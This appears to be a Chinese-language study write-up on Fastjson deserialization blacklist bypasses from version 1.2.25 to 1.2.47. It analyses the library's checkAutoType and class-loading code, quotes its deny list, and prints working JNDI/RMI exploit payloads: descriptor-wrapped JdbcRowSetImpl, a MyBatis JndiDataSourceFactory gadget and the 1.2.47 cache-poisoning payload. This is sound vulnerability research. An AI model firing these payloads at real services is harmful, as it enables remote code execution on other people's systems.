0x00 介绍
从1.2.24之后的版本,都有许多修复跟绕过,跟着网上的文章复现学习一下
0x01 历史版本绕过
fastjson-1.2.25
分析
我们先来看一下1.2.25这个版本是怎么修复的
主要是引入了checkAutoType安全机制,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport
默认情况下autoTypeSupport关闭,导致不能直接反序列化任意类
在不开启autoTypeSupport的情况下,会先进行黑名单检测再进行白名单检测
如果在黑名单里,会直接抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } }
|
在开启autoTypeSupport的情况下,会先进行白名单检测再进行名单检测
如果在白名单里,会使用TypeUtils.loadClass加载
然后在判断是否在黑名单里,在的会抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } }
|
但是,还有一种情况,如果黑白名单里都不存在的话
并且开启了autoTypeSupport或者expectClass不为空的话,也会调用TypeUtils.loadClass加载类
1 2 3 4 5 6 7
| public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } }
|
接着跟一下loadClass ,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的**[、L、;** 字符
那么加上L开头和**;**结尾实际上就可以绕过所有黑名单
1 2 3 4 5 6 7 8 9 10 11 12
| public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } }
|
1
| AUTO_TYPE_ACCEPT_LIST --> []
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel,org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
|
POC
JNDI+RMI为例
1 2 3 4 5 6 7 8 9
| public class JdbcRowSetImpl { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
|
总结
影响版本
1
| 1.2.25 <= fastjson <= 1.2.41
|
需开启autoTypeSupport
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
@type添加L和**;**绕过
fastjson-1.2.42
分析
在1.2.42版本中,fastjson依旧延续黑白名单的检测模式,不过将名单改成Hash值,防止绕过
还是继续关注com.alibaba.fastjson.parser.ParserConfig这个类
在checkAutoType中,首先会利用substring将L和**;**去掉
不过只删除一次,所以其实可以对描述符双写绕过这个限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { String className = typeName.replace('$', '.'); Class<?> clazz = null; final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { className = className.substring(1, className.length() - 1); } }
|
而且这个类中也给出了Hash算法fnv1a_64,在addDeny中调用,所以还是有机会撞出来的Hash值的
网上也有黑白名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public void addDeny(String name) { long hash = TypeUtils.fnv1a_64(name); }
public static long fnv1a_64(String key){ long hashCode = 0xcbf29ce484222325L; for(int i = 0; i < key.length(); ++i){ char ch = key.charAt(i); hashCode ^= ch; hashCode *= 0x100000001b3L; } return hashCode; }
|
POC
注:需开启autoTypeSupport
影响版本:1.2.25 <= fastjson <= 1.2.42
1 2 3 4 5 6 7 8 9
| public class JdbcRowSetImpl { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," + "\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
|
fastjson-1.2.43
分析
在1.2.43的版本中,修复了描述符双写绕过的漏洞
主要还是在com.alibaba.fastjson.parser.ParserConfig.checkAutoType中的判断,修复了多层绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { String className = typeName.replace('$', '.'); Class<?> clazz = null; final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); } }
|
虽然不能双写L和**;绕过了,但是还可以使用[和{**绕过
添加第一个**[,变成“@type”:”[com.sun.rowset.JdbcRowSetImpl”**会报错
1
| Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:8085/CalcTest","autoCommit":false}
|
在42列添加第二个**[,变成@type":"[com.sun.rowset.JdbcRowSetImpl"[**接着报错
1
| Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
|
在43列添加**{,变成@type”:”[com.sun.rowset.JdbcRowSetImpl”[{**
成功执行
POC
注:需开启autoTypeSupport
影响版本:1.2.25 <= fastjson <= 1.2.43
1 2 3 4 5 6 7 8 9
| public class JdbcRowSetImpl { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," + "\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," + "\"autoCommit\":false}"; JSON.parseObject(s); } }
|
fastjson-1.2.44
这个版本主要是修复了使用 [{
绕过黑名单防护的问题
在com.alibaba.fastjson.parser.ParserConfig.checkAutoType中添加了新的判断,检测到类名以**[**开头直接抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { String className = typeName.replace('$', '.'); Class<?> clazz = null; final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; final long h1 = (BASIC ^ className.charAt(0)) * PRIME; if (h1 == 0xaf64164c86024f1aL) { throw new JSONException("autoType is not support. " + typeName); } if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { throw new JSONException("autoType is not support. " + typeName); } }
|
fastjson-1.2.45
增加了黑名单,存在组件漏洞,需要mybatis组件,版本在3.x.x ~ 3.5.0
分析
在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类下有个setProperties方法
在判断中可以得知,只要properties参数中存在data_source,可以调用JNDI,并传入data_source的值
而且也符合setter的要求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public void setProperties(Properties properties) { try { InitialContext initCtx; Properties env = getEnvProperties(properties); if (env == null) { initCtx = new InitialContext(); } else { initCtx = new InitialContext(env); } if (properties.containsKey(INITIAL_CONTEXT) && properties.containsKey(DATA_SOURCE)) { Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT)); dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE)); } else if (properties.containsKey(DATA_SOURCE)) { dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE)); } } catch (NamingException e) { throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e); } }
|
POC
注:需开启autoTypeSupport
影响版本:1.2.25 <= fastjson <= 1.2.45
1 2 3 4 5 6 7 8
| public class JdbcRowSetImpl { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String s = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + "\"properties\":{\"data_source\":\"rmi://127.0.0.1:8085/CalcTest\"}}"; JSON.parseObject(s); } }
|
fastjson-1.2.47
这个Payload能过绕过checkAutoType内的各种检测
主要是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而实现绕过
分析
前半——将恶意类写入mapping缓存
还是关注在com.alibaba.fastjson.parser.ParserConfig#checkAutoType上
首先我们来看一下autoTypeSupport=false的情况(默认不开启)
在autoTypeSupport不开启的情况下,会先跳过checkAutoType中的第一次黑白名单检测
然后在TypeUtils.mappings中和deserializers中尝试查找要反序列化的类,如果找到了,则就会return clazz
这就避开下面autoTypeSupport=false时的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } }
|
而com.alibaba.fastjson.parser.ParserConfig#initDeserializers中初始化deserializers的时候,会设置很多个类,其中就包括我们需要用到的java.lang.Class
1 2 3 4
| private void initDeserializers() { deserializers.put(Class.class, MiscCodec.instance); }
|
重点关注在TypeUtils.getClassFromMapping方法中
从mapping中获取类名,下面我们就来看看mapping是在哪里赋值的,寻找mapping.put方法
1 2 3
| public static Class<?> getClassFromMapping(String className){ return mappings.get(className); }
|
找到是在com.alibaba.fastjson.util.TypeUtils#loadClass方法中
有还几处可以将类加载器加载并存入mappings中
也就是说如果我们可以控制参数的话,那么就有机会往mappings中写入任意类名
所以,先找一下哪里调用了loadClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { try{ if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ e.printStackTrace(); } try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ } try{ clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch(Throwable e){ } return clazz; }
|
可以看到在com.alibaba.fastjson.serializer.MiscCodec#deserialze中
当clazz == Class.class成立时会调用loadClass
clazz我们可以使用**@type传入,而strVal为我们需要的className**
可以看到strVal跟objVal有关,是强转赋值的
而objVal是在parser.parse()中截取而来,且参数名必须为val
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } objVal = parser.parse(); } else { objVal = parser.parse(); } String strVal; if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } }
|
反过来看一下com.alibaba.fastjson.serializer.MiscCodec这个类
是一个序列化器和反序列化器
1
| public class MiscCodec implements ObjectSerializer, ObjectDeserializer
|
后半——从mapping中加载恶意类
当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class JdbcRowSetImpl { public static void main(String[] args) {
String s = "{" + "\"1\":" + "{\"@type\":\"java.lang.Class\"," + "\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"2\":" + "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://127.0.0.1:8085/CalcTest\"," + "\"autoCommit\":false}" + " }"; JSON.parseObject(s); } }
|
影响范围
1.2.25 <= fastjson <= 1.2.47
- autoTypeSupport == false可利用
1.2.33 <= fastjson <= 1.2.47
- 不论autoTypeSupport == true/false都可利用
受autoTypeSupport 的原因还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType上
当开启autoTypeSupport后,黑白名单的if判断语句有差异
1.2.33版本后,多了句TypeUtils.getClassFromMapping(typeName) == null,导致不会抛出异常
1 2 3 4 5
| if (className.startsWith(deny)) {
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null)
|
fastjson——1.2.68
0x03 参考资料
https://goodapple.top/archives/832
https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80/#Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Fastjson-%E7%AF%87-01-Fastjson-%E5%9F%BA%E7%A1%80
https://meizjm3i.github.io/2019/06/05/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90%E6%B5%81%E7%A8%8B/